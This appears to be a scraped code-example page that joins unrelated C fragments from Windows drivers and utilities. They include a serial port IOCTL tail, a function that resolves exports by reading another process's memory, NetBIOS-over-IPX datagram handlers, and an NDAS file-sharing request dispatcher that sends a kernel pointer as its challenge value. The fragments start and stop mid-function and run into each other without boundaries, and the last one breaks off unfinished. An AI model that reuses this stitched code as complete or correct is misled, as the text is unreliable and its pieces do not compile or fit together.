            pIrp->IoStatus.Information = sizeof(SERIALPERF_STATS);

            TraceIrp("FdoPortIoCtl", pIrp, &status, TRACE_FLAG_RESULTS);
            break;
        case IOCTL_SERIAL_CLEAR_STATS:
            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
            RtlZeroMemory(&pIoPortLocal->perfStats, sizeof(pIoPortLocal->perfStats));
            KeReleaseSpinLock(pIoPortLocal->pIoLock, oldIrql);
            break;
        default:
            status = STATUS_INVALID_PARAMETER;
        }
    }
Esempio n. 22
0
	static PVOID GetProcAddressEx(HANDLE hProc, HMODULE hModule, LPCSTR lpProcName)
	{
		PVOID pAddress = NULL;
		SIZE_T OptSize;
		IMAGE_DOS_HEADER DosHeader;
		SIZE_T ProcNameLength = lstrlenA(lpProcName) + sizeof(CHAR);//'\0'

		//读DOS头
		if (ReadProcessMemory(hProc, hModule, &DosHeader, sizeof(DosHeader), &OptSize))
		{
			IMAGE_NT_HEADERS NtHeader;

			//读NT头
			if (ReadProcessMemory(hProc, (PVOID)((SIZE_T)hModule + DosHeader.e_lfanew), &NtHeader, sizeof(NtHeader), &OptSize))
			{
				IMAGE_EXPORT_DIRECTORY ExpDir;
				SIZE_T ExportVirtualAddress = NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

				//读输出表
				if (ExportVirtualAddress && ReadProcessMemory(hProc, (PVOID)((SIZE_T)hModule + ExportVirtualAddress), &ExpDir, sizeof(ExpDir), &OptSize))
				{
					if (ExpDir.NumberOfFunctions)
					{
						//x64待定:地址数组存放RVA的数据类型是4字节还是8字节???
						SIZE_T *pProcAddressTable = (SIZE_T *)GlobalAlloc(GPTR, ExpDir.NumberOfFunctions * sizeof(SIZE_T));

						//读函数地址表
						if (ReadProcessMemory(hProc, (PVOID)((SIZE_T)hModule + ExpDir.AddressOfFunctions), pProcAddressTable, ExpDir.NumberOfFunctions * sizeof(PVOID), &OptSize))
						{
							//x64待定:名称数组存放RVA的数据类型是4字节还是8字节???
							SIZE_T *pProcNamesTable = (SIZE_T *)GlobalAlloc(GPTR, ExpDir.NumberOfNames * sizeof(SIZE_T));

							//读函数名称表
							if (ReadProcessMemory(hProc, (PVOID)((SIZE_T)hModule + ExpDir.AddressOfNames), pProcNamesTable, ExpDir.NumberOfNames * sizeof(PVOID), &OptSize))
							{
								CHAR *pProcName = (CHAR *)GlobalAlloc(GPTR, ProcNameLength);

								//遍历函数名称
								for (DWORD i = 0; i < ExpDir.NumberOfNames; i++)
								{
									if (ReadProcessMemory(hProc, (PVOID)((SIZE_T)hModule + pProcNamesTable[i]), pProcName, ProcNameLength, &OptSize))
									{
										if (RtlEqualMemory(lpProcName, pProcName, ProcNameLength))
										{
											//x64待定:函数在地址数组索引的数据类型是2字节还是???
											WORD NameOrdinal;

											//获取函数在地址表的索引
											if (ReadProcessMemory(hProc, (PVOID)((SIZE_T)hModule + ExpDir.AddressOfNameOrdinals + sizeof(NameOrdinal) * i), &NameOrdinal, sizeof(NameOrdinal), &OptSize))
											{
												pAddress = (PVOID)((SIZE_T)hModule + pProcAddressTable[NameOrdinal]);
											}
											break;//for
										}
									}
								}
								GlobalFree(pProcName);
							}
							GlobalFree(pProcNamesTable);
						}
						GlobalFree(pProcAddressTable);
					}
				}
			}
		}
		return pAddress;
	}
Esempio n. 23
0
VOID
NbiProcessDatagram(
    IN NDIS_HANDLE MacBindingHandle,
    IN NDIS_HANDLE MacReceiveContext,
    IN PIPX_LOCAL_TARGET RemoteAddress,
    IN ULONG MacOptions,
    IN PUCHAR LookaheadBuffer,
    IN UINT LookaheadBufferSize,
    IN UINT LookaheadBufferOffset,
    IN UINT PacketSize,
    IN BOOLEAN Broadcast
    )

/*++

Routine Description:

    This routine handles datagram indications.

Arguments:

    MacBindingHandle - A handle to use when calling NdisTransferData.

    MacReceiveContext - A context to use when calling NdisTransferData.

    RemoteAddress - The local target this packet was received from.

    MacOptions - The MAC options for the underlying NDIS binding.

    LookaheadBuffer - The lookahead buffer, starting at the IPX
        header.

    LookaheadBufferSize - The length of the lookahead data.

    LookaheadBufferOffset - The offset to add when calling
        NdisTransferData.

    PacketSize - The total length of the packet, starting at the
        IPX header.

    Broadcast - TRUE if the frame was a broadcast datagram.

Return Value:

    None.

--*/

{

    PADDRESS Address;
    NDIS_STATUS NdisStatus;
    PUCHAR NetbiosName;
    NB_CONNECTIONLESS UNALIGNED * Connectionless =
                        (NB_CONNECTIONLESS UNALIGNED *)LookaheadBuffer;
    PDEVICE Device = NbiDevice;
    PSINGLE_LIST_ENTRY s;
    PNB_RECEIVE_RESERVED ReceiveReserved;
    PNB_RECEIVE_BUFFER ReceiveBuffer;
    ULONG DataOffset;
    UINT BytesTransferred;
    PNDIS_PACKET Packet;
    CTELockHandle   LockHandle;


    //
    // See if there is an address that might want this.
    //

    if (Broadcast) {
        NetbiosName = (PVOID)-1;
    } else {
        NetbiosName = (PUCHAR)Connectionless->Datagram.DestinationName;
        if (Device->AddressCounts[NetbiosName[0]] == 0) {
            return;
        }
    }

    DataOffset = sizeof(IPX_HEADER) + sizeof(NB_DATAGRAM);

#if     defined(_PNP_POWER)
    if ((PacketSize < DataOffset) ||
        (PacketSize > DataOffset + Device->CurMaxReceiveBufferSize)) {
#else
        if ((PacketSize < DataOffset) ||
            (PacketSize > DataOffset + Device->Bind.LineInfo.MaximumPacketSize)) {
#endif  _PNP_POWER

        NB_DEBUG (DATAGRAM, ("Datagram length %d discarded\n", PacketSize));
        return;
    }

    Address = NbiFindAddress (Device, NetbiosName);

    if (Address == NULL) {
        return;
    }

    //
    // We need to cache the remote name if the packet came across the router.
    // This allows this machine to get back to the RAS client which might
    // have sent this datagram. We currently dont allow broadcasts to go out
    // on the dial-in line.
    // Dont cache some of the widely used group names, that would be too much
    // to store in cache.
    //

#if 0
    if ( Connectionless->IpxHeader.TransportControl &&
         !( (Address->NetbiosAddress.NetbiosName[15] == 0x0 ) &&
            (Address->NetbiosAddress.NetbiosNameType & TDI_ADDRESS_NETBIOS_TYPE_GROUP))  &&
         !( (Address->NetbiosAddress.NetbiosName[15] == 0x01 ) &&
            (Address->NetbiosAddress.NetbiosNameType & TDI_ADDRESS_NETBIOS_TYPE_GROUP))  &&
         !( (Address->NetbiosAddress.NetbiosName[15] == 0x1E ) &&
            (Address->NetbiosAddress.NetbiosNameType & TDI_ADDRESS_NETBIOS_TYPE_GROUP))  ) {
#endif
    if ( Connectionless->IpxHeader.TransportControl &&
         ( (Address->NetbiosAddress.NetbiosName[15] == 0x1c ) &&
           (Address->NetbiosAddress.NetbiosNameType & TDI_ADDRESS_NETBIOS_TYPE_GROUP))  ) {

        PNETBIOS_CACHE CacheName;

        NB_GET_LOCK (&Device->Lock, &LockHandle);
        if ( FindInNetbiosCacheTable ( Device->NameCache,
                                       Connectionless->Datagram.SourceName,
                                       &CacheName ) != STATUS_SUCCESS ) {

            CacheName = NbiAllocateMemory (sizeof(NETBIOS_CACHE), MEMORY_CACHE, "Cache Entry");
            if (CacheName ) {
                RtlCopyMemory (CacheName->NetbiosName, Connectionless->Datagram.SourceName, 16);
                CacheName->Unique = TRUE;
                CacheName->ReferenceCount = 1;
                RtlCopyMemory (&CacheName->FirstResponse, Connectionless->IpxHeader.SourceNetwork, 12);
                CacheName->NetworksAllocated = 1;
                CacheName->NetworksUsed = 1;
                CacheName->Networks[0].Network = *(UNALIGNED ULONG *)(Connectionless->IpxHeader.SourceNetwork);
                CacheName->Networks[0].LocalTarget = *RemoteAddress;
                NB_DEBUG2 (CACHE, ("Alloc new cache from Datagram %lx for <%.16s>\n",
                                        CacheName, CacheName->NetbiosName));

                CacheName->TimeStamp = Device->CacheTimeStamp;

                InsertInNetbiosCacheTable(
                    Device->NameCache,
                    CacheName);

            }
        } else if ( CacheName->Unique ) {
            //
            // We already have an entry for this remote. We should update
            // the address. This is so that if the ras client dials-out
            // then dials-in again and gets a new address, we dont end up
            // caching the old address.
            //
            if ( !RtlEqualMemory( &CacheName->FirstResponse, Connectionless->IpxHeader.SourceNetwork, 12) ) {

                RtlCopyMemory (&CacheName->FirstResponse, Connectionless->IpxHeader.SourceNetwork, 12);
                CacheName->Networks[0].Network = *(UNALIGNED ULONG *)(Connectionless->IpxHeader.SourceNetwork);
                CacheName->Networks[0].LocalTarget = *RemoteAddress;

            }
        }
        NB_FREE_LOCK (&Device->Lock, LockHandle);
    }

    //
    // We need to allocate a packet and buffer for the transfer.
    //

    s = NbiPopReceivePacket (Device);
    if (s == NULL) {
        NbiDereferenceAddress (Address, AREF_FIND);
        return;
    }

    ReceiveReserved = CONTAINING_RECORD (s, NB_RECEIVE_RESERVED, PoolLinkage);


    s = NbiPopReceiveBuffer (Device);
    if (s == NULL) {
        ExInterlockedPushEntrySList(
            &Device->ReceivePacketList,
            &ReceiveReserved->PoolLinkage,
            &NbiGlobalPoolInterlock);
        NbiDereferenceAddress (Address, AREF_FIND);
        return;
    }

    ReceiveBuffer = CONTAINING_RECORD (s, NB_RECEIVE_BUFFER, PoolLinkage);

    Packet = CONTAINING_RECORD (ReceiveReserved, NDIS_PACKET, ProtocolReserved[0]);
    ReceiveReserved->u.RR_DG.ReceiveBuffer = ReceiveBuffer;


    //
    // Now that we have a packet and a buffer, set up the transfer.
    // The indication to the TDI clients will happen at receive
    // complete time.
    //

    NdisChainBufferAtFront (Packet, ReceiveBuffer->NdisBuffer);
    ReceiveBuffer->Address = Address;

    ReceiveReserved->Type = RECEIVE_TYPE_DATAGRAM;
    CTEAssert (!ReceiveReserved->TransferInProgress);
    ReceiveReserved->TransferInProgress = TRUE;

    TdiCopyLookaheadData(
        &ReceiveBuffer->RemoteName,
        Connectionless->Datagram.SourceName,
        16,
        (MacOptions & NDIS_MAC_OPTION_COPY_LOOKAHEAD_DATA) ? TDI_RECEIVE_COPY_LOOKAHEAD : 0);

    (*Device->Bind.TransferDataHandler) (
        &NdisStatus,
        MacBindingHandle,
        MacReceiveContext,
        LookaheadBufferOffset + DataOffset,
        PacketSize - DataOffset,
        Packet,
        &BytesTransferred);

    if (NdisStatus != NDIS_STATUS_PENDING) {
#if DBG
        if (NdisStatus == STATUS_SUCCESS) {
            CTEAssert (BytesTransferred == PacketSize - DataOffset);
        }
#endif

        NbiTransferDataComplete(
            Packet,
            NdisStatus,
            BytesTransferred);

    }

}   /* NbiProcessDatagram */


VOID
NbiIndicateDatagram(
    IN PADDRESS Address,
    IN PUCHAR RemoteName,
    IN PUCHAR Data,
    IN ULONG DataLength
    )

/*++

Routine Description:

    This routine indicates a datagram to clients on the specified
    address. It is called from NbiReceiveComplete.

Arguments:

    Address - The address the datagram was sent to.

    RemoteName - The source netbios address of the datagram.

    Data - The data.

    DataLength - The length of the data.

Return Value:

    None.

--*/

{
    PLIST_ENTRY p, q;
    PIRP Irp;
    ULONG IndicateBytesCopied;
    PREQUEST Request;
    TA_NETBIOS_ADDRESS SourceName;
    PTDI_CONNECTION_INFORMATION RemoteInformation;
    PADDRESS_FILE AddressFile, ReferencedAddressFile;
    PTDI_CONNECTION_INFORMATION DatagramInformation;
    TDI_ADDRESS_NETBIOS UNALIGNED * DatagramAddress;
    PDEVICE Device = NbiDevice;
    NB_DEFINE_LOCK_HANDLE (LockHandle)
    CTELockHandle   CancelLH;

    //
    // Update our statistics.
    //

    ++Device->Statistics.DatagramsReceived;
    ADD_TO_LARGE_INTEGER(
        &Device->Statistics.DatagramBytesReceived,
        DataLength);

    //
    // Call the client's ReceiveDatagram indication handler.  He may
    // want to accept the datagram that way.
    //

    TdiBuildNetbiosAddress (RemoteName, FALSE, &SourceName);
    ReferencedAddressFile = NULL;

    NB_SYNC_GET_LOCK (&Address->Lock, &LockHandle);

    for (p = Address->AddressFileDatabase.Flink;
         p != &Address->AddressFileDatabase;
         p = p->Flink) {

        //
        // Find the next open address file in the list.
        //

        AddressFile = CONTAINING_RECORD (p, ADDRESS_FILE, Linkage);
        if (AddressFile->State != ADDRESSFILE_STATE_OPEN) {
            continue;
        }

        NbiReferenceAddressFileLock (AddressFile, AFREF_INDICATION);

        //
        // do we have a datagram receive request outstanding? If so, we will
        // satisfy it first. We run through the receive datagram queue
        // until we find a datagram with no remote address or with
        // this sender's address as its remote address.
        //

        for (q = AddressFile->ReceiveDatagramQueue.Flink;
             q != &AddressFile->ReceiveDatagramQueue;
             q = q->Flink) {

            Request = LIST_ENTRY_TO_REQUEST (q);
            DatagramInformation = ((PTDI_REQUEST_KERNEL_RECEIVEDG)
                REQUEST_PARAMETERS(Request))->ReceiveDatagramInformation;

            if (DatagramInformation &&
                (DatagramInformation->RemoteAddress) &&
                (DatagramAddress = NbiParseTdiAddress(DatagramInformation->RemoteAddress, FALSE)) &&
                (!RtlEqualMemory(
                    RemoteName,
                    DatagramAddress->NetbiosName,
                    16))) {
                continue;
            }
            break;
        }

        if (q != &AddressFile->ReceiveDatagramQueue) {

            RemoveEntryList (q);
            NB_SYNC_FREE_LOCK (&Address->Lock, LockHandle);

            if (ReferencedAddressFile != NULL) {
                NbiDereferenceAddressFile (ReferencedAddressFile, AFREF_INDICATION);
            }
            ReferencedAddressFile = AddressFile;

            //
            // Do this deref now, we hold another one so it
            // will stick around.
            //

            NbiDereferenceAddressFile (AddressFile, AFREF_RCV_DGRAM);

            IndicateBytesCopied = 0;

            //
            // Fall past the else to copy the data.
            //

        } else {

            NB_SYNC_FREE_LOCK (&Address->Lock, LockHandle);

            if (ReferencedAddressFile != NULL) {
                NbiDereferenceAddressFile (ReferencedAddressFile, AFREF_INDICATION);
            }
            ReferencedAddressFile = AddressFile;

            //
            // No receive datagram requests; is there a kernel client?
            //

            if (AddressFile->RegisteredHandler[TDI_EVENT_RECEIVE_DATAGRAM]) {

                IndicateBytesCopied = 0;

                if ((*AddressFile->ReceiveDatagramHandler)(
                         AddressFile->HandlerContexts[TDI_EVENT_RECEIVE_DATAGRAM],
                         sizeof (TA_NETBIOS_ADDRESS),
                         &SourceName,
                         0,
                         NULL,
                         TDI_RECEIVE_COPY_LOOKAHEAD,
                         DataLength,      // indicated
                         DataLength,     // available
                         &IndicateBytesCopied,
                         Data,
                         &Irp) != STATUS_MORE_PROCESSING_REQUIRED) {

                    //
                    // The client did not return a request, go to the
                    // next address file.
                    //

                    NB_SYNC_GET_LOCK (&Address->Lock, &LockHandle);
                    continue;

                }

                Request = NbiAllocateRequest (Device, Irp);

                IF_NOT_ALLOCATED(Request) {
                    Irp->IoStatus.Information = 0;
                    Irp->IoStatus.Status = STATUS_INSUFFICIENT_RESOURCES;
                    IoCompleteRequest (Irp, IO_NETWORK_INCREMENT);


                    NB_SYNC_GET_LOCK (&Address->Lock, &LockHandle);
                    continue;
                }

            } else {

                //
                // The client has nothing posted and no handler,
                // go on to the next address file.
                //

                NB_SYNC_GET_LOCK (&Address->Lock, &LockHandle);
                continue;

            }

        }

        //
        // We have a request; copy the actual user data.
        //
        if ( REQUEST_NDIS_BUFFER (Request) ) {

            REQUEST_STATUS(Request) =
                TdiCopyBufferToMdl (
                         Data,
                         IndicateBytesCopied,
                         DataLength - IndicateBytesCopied,
                         REQUEST_NDIS_BUFFER (Request),
                         0,
                         &REQUEST_INFORMATION (Request));

        } else {
            //
            // No buffer specified in the request
            //
            REQUEST_INFORMATION (Request) = 0;
            //
            // If there was any data to be copied, return error o/w success
            //
            REQUEST_STATUS(Request) = ( (DataLength - IndicateBytesCopied) ? STATUS_BUFFER_OVERFLOW : STATUS_SUCCESS );
        }

        //
        // Copy the addressing information.
        //

        RemoteInformation = ((PTDI_REQUEST_KERNEL_RECEIVEDG)
                REQUEST_PARAMETERS(Request))->ReturnDatagramInformation;

        if (RemoteInformation != NULL) {

            RtlCopyMemory(
                (PTA_NETBIOS_ADDRESS)RemoteInformation->RemoteAddress,
                &SourceName,
                (RemoteInformation->RemoteAddressLength < sizeof(TA_NETBIOS_ADDRESS)) ?
                    RemoteInformation->RemoteAddressLength : sizeof(TA_NETBIOS_ADDRESS));
        }


        NB_GET_CANCEL_LOCK( &CancelLH );
        IoSetCancelRoutine (Request, (PDRIVER_CANCEL)NULL);
        NB_FREE_CANCEL_LOCK( CancelLH );

        NbiCompleteRequest (Request);
        NbiFreeRequest (Device, Request);

        NB_SYNC_GET_LOCK (&Address->Lock, &LockHandle);

    }    // end of for loop through the address files
NTSTATUS
DispatchRequest (
	IN PPRIMARY_SESSION	PrimarySession
	)
{
	NTSTATUS				status;
	IN PNDFS_REQUEST_HEADER	ndfsRequestHeader;


	ASSERT( PrimarySession->Thread.NdfsRequestHeader.Mid < PrimarySession->SessionContext.SessionSlotCount );

	RtlCopyMemory( PrimarySession->Thread.SessionSlot[PrimarySession->Thread.NdfsRequestHeader.Mid].RequestMessageBuffer,
				   &PrimarySession->Thread.NdfsRequestHeader,
				   sizeof(NDFS_REQUEST_HEADER) );

	ndfsRequestHeader 
		= (PNDFS_REQUEST_HEADER)PrimarySession->Thread.SessionSlot[PrimarySession->Thread.NdfsRequestHeader.Mid].RequestMessageBuffer;
   
	ASSERT (PrimarySession->Thread.ReceiveOverLapped.IoStatusBlock.Information == sizeof(NDFS_REQUEST_HEADER) );

    SPY_LOG_PRINT( LFS_DEBUG_PRIMARY_NOISE,
				   ("DispatchRequest: PrimarySession = %p, ndfsRequestHeader->Command = %d\n", 
				   PrimarySession, ndfsRequestHeader->Command) );

	
	switch (ndfsRequestHeader->Command) {

	case NDFS_COMMAND_NEGOTIATE: {

		PNDFS_REQUEST_NEGOTIATE	ndfsRequestNegotiate;
		PNDFS_REPLY_HEADER		ndfsReplyHeader;
		PNDFS_REPLY_NEGOTIATE	ndfsReplyNegotiate;
		
		
		if (PrimarySession->Thread.SessionState != SESSION_CLOSE) {

			ASSERT( LFS_BUG );
			status = STATUS_UNSUCCESSFUL;

			break;
		}
		
		ASSERT( ndfsRequestHeader->MessageSize == sizeof(NDFS_REQUEST_HEADER) + sizeof(NDFS_REQUEST_NEGOTIATE) );
		ndfsRequestNegotiate = (PNDFS_REQUEST_NEGOTIATE)(ndfsRequestHeader+1);
		
		status = RecvMessage( PrimarySession->ConnectionFileObject,
							 (_U8 *)ndfsRequestNegotiate,
							 sizeof(NDFS_REQUEST_NEGOTIATE),
							 NULL );
	
		if (status != STATUS_SUCCESS) {

			ASSERT( LFS_BUG );

			break;
		}

		PrimarySession->SessionContext.Flags = ndfsRequestNegotiate->Flags;
		ndfsReplyHeader = (PNDFS_REPLY_HEADER)(ndfsRequestNegotiate+1);

		RtlCopyMemory( ndfsReplyHeader->Protocol, NDFS_PROTOCOL, sizeof(ndfsReplyHeader->Protocol) );
		ndfsReplyHeader->Status		= NDFS_SUCCESS;
		ndfsReplyHeader->Flags	    = PrimarySession->SessionContext.Flags;
		ndfsReplyHeader->Uid		= 0;
		ndfsReplyHeader->Tid		= 0;
		ndfsReplyHeader->Mid		= 0;
		ndfsReplyHeader->MessageSize = sizeof(NDFS_REPLY_HEADER)+sizeof(NDFS_REPLY_NEGOTIATE);

		ndfsReplyNegotiate = (PNDFS_REPLY_NEGOTIATE)(ndfsReplyHeader+1);

		if (ndfsRequestNegotiate->NdfsMajorVersion == NDFS_PROTOCOL_MAJOR_2 && 
			ndfsRequestNegotiate->NdfsMinorVersion == NDFS_PROTOCOL_MINOR_0 && 
			ndfsRequestNegotiate->OsMajorType == OS_TYPE_WINDOWS			&& 
			ndfsRequestNegotiate->OsMinorType == OS_TYPE_WINXP) {

			PrimarySession->SessionContext.NdfsMajorVersion = ndfsRequestNegotiate->NdfsMajorVersion;
			PrimarySession->SessionContext.NdfsMinorVersion = ndfsRequestNegotiate->NdfsMinorVersion;

			ndfsReplyNegotiate->Status = NDFS_NEGOTIATE_SUCCESS;
			ndfsReplyNegotiate->NdfsMajorVersion = PrimarySession->SessionContext.NdfsMajorVersion;
			ndfsReplyNegotiate->NdfsMinorVersion = PrimarySession->SessionContext.NdfsMinorVersion;
			ndfsReplyNegotiate->OsMajorType = OS_TYPE_WINDOWS;	
			ndfsReplyNegotiate->OsMinorType = OS_TYPE_WINXP;
			ndfsReplyNegotiate->SessionKey = PrimarySession->SessionContext.SessionKey;
			ndfsReplyNegotiate->MaxBufferSize = PrimarySession->SessionContext.PrimaryMaxDataSize;

			RtlCopyMemory( ndfsReplyNegotiate->ChallengeBuffer,
						   &PrimarySession,
						   sizeof(PPRIMARY_SESSION) );

			ndfsReplyNegotiate->ChallengeLength = sizeof(PPRIMARY_SESSION);

			PrimarySession->Thread.SessionState = SESSION_NEGOTIATE;
		
		} else {

			ndfsReplyNegotiate->Status = NDFS_NEGOTIATE_UNSUCCESSFUL;
		}

		status = SendMessage( PrimarySession->ConnectionFileObject,
							 (_U8 *)ndfsReplyHeader,
							 ndfsReplyHeader->MessageSize,
							 NULL,
							 &PrimarySession->Thread.TransportCtx );

		if (status != STATUS_SUCCESS) {

			break;
		}

		break;
	
	}

	case NDFS_COMMAND_SETUP: {

		PNDFS_REQUEST_SETUP	ndfsRequestSetup;
		PNDFS_REPLY_HEADER	ndfsReplyHeader;
		PNDFS_REPLY_SETUP	ndfsReplySetup;

		_U8					ndfsReplySetupStatus;

		unsigned char		idData[1];
		MD5_CTX				context;
		_U8					responseBuffer[16]; 
		
		
		if (PrimarySession->Thread.SessionState != SESSION_NEGOTIATE) {

			ASSERT( LFS_BUG );
			status = STATUS_UNSUCCESSFUL;

			break;
		}
		
		ASSERT(ndfsRequestHeader->MessageSize == sizeof(NDFS_REQUEST_HEADER) + sizeof(NDFS_REQUEST_SETUP));
		ndfsRequestSetup = (PNDFS_REQUEST_SETUP)(ndfsRequestHeader+1);
		
		status = RecvMessage( PrimarySession->ConnectionFileObject,
							 (_U8 *)ndfsRequestSetup,
							 sizeof(NDFS_REQUEST_SETUP),
							 NULL );
	
		if (status != STATUS_SUCCESS) {

			ASSERT( LFS_BUG );

			break;
		}
	
		do {

			ASSERT( PrimarySession->NetdiskPartition == NULL );

			if (ndfsRequestSetup->SessionKey != PrimarySession->SessionContext.SessionKey) {

				ndfsReplySetupStatus = NDFS_SETUP_UNSUCCESSFUL;				
				break;
			}

			RtlCopyMemory( PrimarySession->NetDiskAddress.Node,
						   ndfsRequestSetup->NetDiskNode,
						   6 );
			
			PrimarySession->NetDiskAddress.Port = HTONS(ndfsRequestSetup->NetDiskPort);//HTONS(ndfsRequestSetup->NetDiskPort);
			PrimarySession->UnitDiskNo = ndfsRequestSetup->UnitDiskNo;
			RtlCopyMemory( PrimarySession->NdscId, ndfsRequestSetup->NdscId, NDSC_ID_LENGTH);
				
			if (PrimarySession->SessionContext.NdfsMinorVersion == NDFS_PROTOCOL_MINOR_0) {

				status = NetdiskManager_GetPrimaryPartition( GlobalLfs.NetdiskManager,
															 PrimarySession,
															 &PrimarySession->NetDiskAddress,
															 PrimarySession->UnitDiskNo,
															 PrimarySession->NdscId,
															 NULL,
															 PrimarySession->IsLocalAddress,
															 &PrimarySession->NetdiskPartition,
															 &PrimarySession->NetdiskPartitionInformation,
															 &PrimarySession->FileSystemType );

				SPY_LOG_PRINT( LFS_DEBUG_PRIMARY_TRACE,
							   ("PRIM:SETUP:MIN1 PrimarySession->NetdiskPartition = %p netDiskPartitionInfo.StartingOffset = %I64x\n",
								 PrimarySession->NetdiskPartition, PrimarySession->StartingOffset.QuadPart) );

				if (status != STATUS_SUCCESS) {

					ndfsReplySetupStatus = NDFS_SETUP_UNSUCCESSFUL;
					break;
				}
			
			} else {

				NDASFS_ASSERT( FALSE );
			}

			
			MD5Init( &context );

			/* id byte */
			idData[0] = (unsigned char)PrimarySession->SessionContext.SessionKey;
			
			MD5Update( &context, idData, 1 );

			MD5Update( &context, 
					   PrimarySession->NetdiskPartitionInformation.NetdiskInformation.Password, 
					   8 );

			MD5Update( &context, &(UCHAR)PrimarySession, sizeof(PPRIMARY_SESSION) );
			MD5Final( responseBuffer, &context );

			if (!RtlEqualMemory(ndfsRequestSetup->ResponseBuffer,
								responseBuffer,
								16)) {

				ASSERT( LFS_BUG );
				ndfsReplySetupStatus = NDFS_SETUP_UNSUCCESSFUL;				
				break;
			}

			ndfsReplySetupStatus = NDFS_SETUP_SUCCESS;
		
		} while(0);

		ndfsReplyHeader = (PNDFS_REPLY_HEADER)(ndfsRequestSetup+1);
			
		RtlCopyMemory( ndfsReplyHeader->Protocol, NDFS_PROTOCOL, sizeof(ndfsReplyHeader->Protocol) );
		
		ndfsReplyHeader->Status		= NDFS_SUCCESS;
		ndfsReplyHeader->Flags	    = 0;
		ndfsReplyHeader->Uid		= 0;
		ndfsReplyHeader->Tid		= 0;
		ndfsReplyHeader->Mid		= 0;
		ndfsReplyHeader->MessageSize = sizeof(NDFS_REPLY_HEADER)+sizeof(NDFS_REPLY_SETUP);

		if (ndfsReplySetupStatus == NDFS_SETUP_SUCCESS) {

			if (ndfsRequestSetup->MaxBufferSize) {

				if (PrimarySession->NetdiskPartition->FileSystemType == LFS_FILE_SYSTEM_NDAS_NTFS ||
					GlobalLfs.NdasFatRwIndirect == FALSE && PrimarySession->NetdiskPartition->FileSystemType == LFS_FILE_SYSTEM_NDAS_FAT ||
					GlobalLfs.NdasNtfsRwIndirect == FALSE && PrimarySession->NetdiskPartition->FileSystemType == LFS_FILE_SYSTEM_NDAS_NTFS) {

					PrimarySession->SessionContext.SecondaryMaxDataSize = ndfsRequestSetup->MaxBufferSize;
				
				} else {

					PrimarySession->SessionContext.SecondaryMaxDataSize = 
						(ndfsRequestSetup->MaxBufferSize <= PrimarySession->SessionContext.SecondaryMaxDataSize) ? 
							   ndfsRequestSetup->MaxBufferSize : PrimarySession->SessionContext.SecondaryMaxDataSize;
				}

				//
				//	Initialize transport context for traffic control
				//

				InitTransCtx(&PrimarySession->Thread.TransportCtx, PrimarySession->SessionContext.SecondaryMaxDataSize);
			}

			SPY_LOG_PRINT( LFS_DEBUG_PRIMARY_INFO,
						   ("NDFS_COMMAND_SETUP: PrimarySession->NetdiskPartition->FileSystemType = %d "  
						    "ndfsRequestSetup->MaxBufferSize = %x PrimaryMaxDataSize:%x SecondaryMaxDataSize:%x \n",
							PrimarySession->NetdiskPartition->FileSystemType, ndfsRequestSetup->MaxBufferSize, 
							PrimarySession->SessionContext.PrimaryMaxDataSize,
							PrimarySession->SessionContext.SecondaryMaxDataSize) );

			ndfsReplyHeader->Uid = PrimarySession->SessionContext.Uid;
			ndfsReplyHeader->Tid = PrimarySession->SessionContext.Tid;
		
		} else {

			if (PrimarySession->NetdiskPartition) {

				NetdiskManager_ReturnPrimaryPartition( GlobalLfs.NetdiskManager, 
													   PrimarySession,
													   PrimarySession->NetdiskPartition, 
													   PrimarySession->IsLocalAddress );

				PrimarySession->NetdiskPartition = NULL;
			}
		}

		ndfsReplySetup = (PNDFS_REPLY_SETUP)(ndfsReplyHeader+1);
		ndfsReplySetup->Status = ndfsReplySetupStatus;


		status = SendMessage( PrimarySession->ConnectionFileObject,
							 (_U8 *)ndfsReplyHeader,
							 ndfsReplyHeader->MessageSize,
							 NULL,
							 &PrimarySession->Thread.TransportCtx );

		if (status != STATUS_SUCCESS) {

			break;
		}

		if (ndfsReplySetupStatus == NDFS_SETUP_SUCCESS)
			PrimarySession->Thread.SessionState = SESSION_SETUP;
		
		break;
	}

	case NDFS_COMMAND_TREE_CONNECT:{

		PNDFS_REQUEST_TREE_CONNECT	ndfsRequestTreeConnect;
		PNDFS_REPLY_HEADER			ndfsReplyHeader;
		PNDFS_REPLY_TREE_CONNECT	ndfsReplyTreeConnect;
	
		_U8							ndfsReplyTreeConnectStatus;
		
		
		if (!(PrimarySession->Thread.SessionState == SESSION_SETUP && \
			  ndfsRequestHeader->Uid == PrimarySession->SessionContext.Uid)) {

			ASSERT( LFS_BUG );
			status = STATUS_UNSUCCESSFUL;

			break;
		}
		
		ASSERT( ndfsRequestHeader->MessageSize == sizeof(NDFS_REQUEST_HEADER) + sizeof(NDFS_REQUEST_TREE_CONNECT) );
		ndfsRequestTreeConnect = (PNDFS_REQUEST_TREE_CONNECT)(ndfsRequestHeader+1);

		status = RecvMessage( PrimarySession->ConnectionFileObject,
							 (_U8 *)ndfsRequestTreeConnect,
							 sizeof(NDFS_REQUEST_TREE_CONNECT),
							 NULL );
	
		if (status != STATUS_SUCCESS) {

			ASSERT( LFS_BUG );

			break;
		}
		
		do {

			NTSTATUS			getVolumeInformationStatus;
			PNETDISK_PARTITION	netdiskPartition;


			ndfsReplyHeader = (PNDFS_REPLY_HEADER)(ndfsRequestTreeConnect+1);

			RtlCopyMemory( ndfsReplyHeader->Protocol, NDFS_PROTOCOL, sizeof(ndfsReplyHeader->Protocol) );

			ndfsReplyHeader->Status		= NDFS_SUCCESS;
			ndfsReplyHeader->Flags	    = 0;
			ndfsReplyHeader->Uid		= PrimarySession->SessionContext.Uid;
			ndfsReplyHeader->Tid		= 0;
			ndfsReplyHeader->Mid		= 0;
			ndfsReplyHeader->MessageSize = sizeof(NDFS_REPLY_HEADER)+sizeof(NDFS_REPLY_TREE_CONNECT);

			PrimarySession->StartingOffset.QuadPart = ndfsRequestTreeConnect->StartingOffset;

			status = NetdiskManager_GetPrimaryPartition( GlobalLfs.NetdiskManager,
														 PrimarySession,
														 &PrimarySession->NetDiskAddress,
														 PrimarySession->UnitDiskNo,
														 PrimarySession->NdscId,
														 &PrimarySession->StartingOffset,
														 PrimarySession->IsLocalAddress,
														 &netdiskPartition,
														 &PrimarySession->NetdiskPartitionInformation,
														 &PrimarySession->FileSystemType );

			SPY_LOG_PRINT( LFS_DEBUG_PRIMARY_TRACE,
						   ("PRIM:TREE_CONNECT: netdiskPartition = %p netDiskPartitionInfo.StartingOffset = %I64x\n", 
						    netdiskPartition, PrimarySession->StartingOffset.QuadPart) );

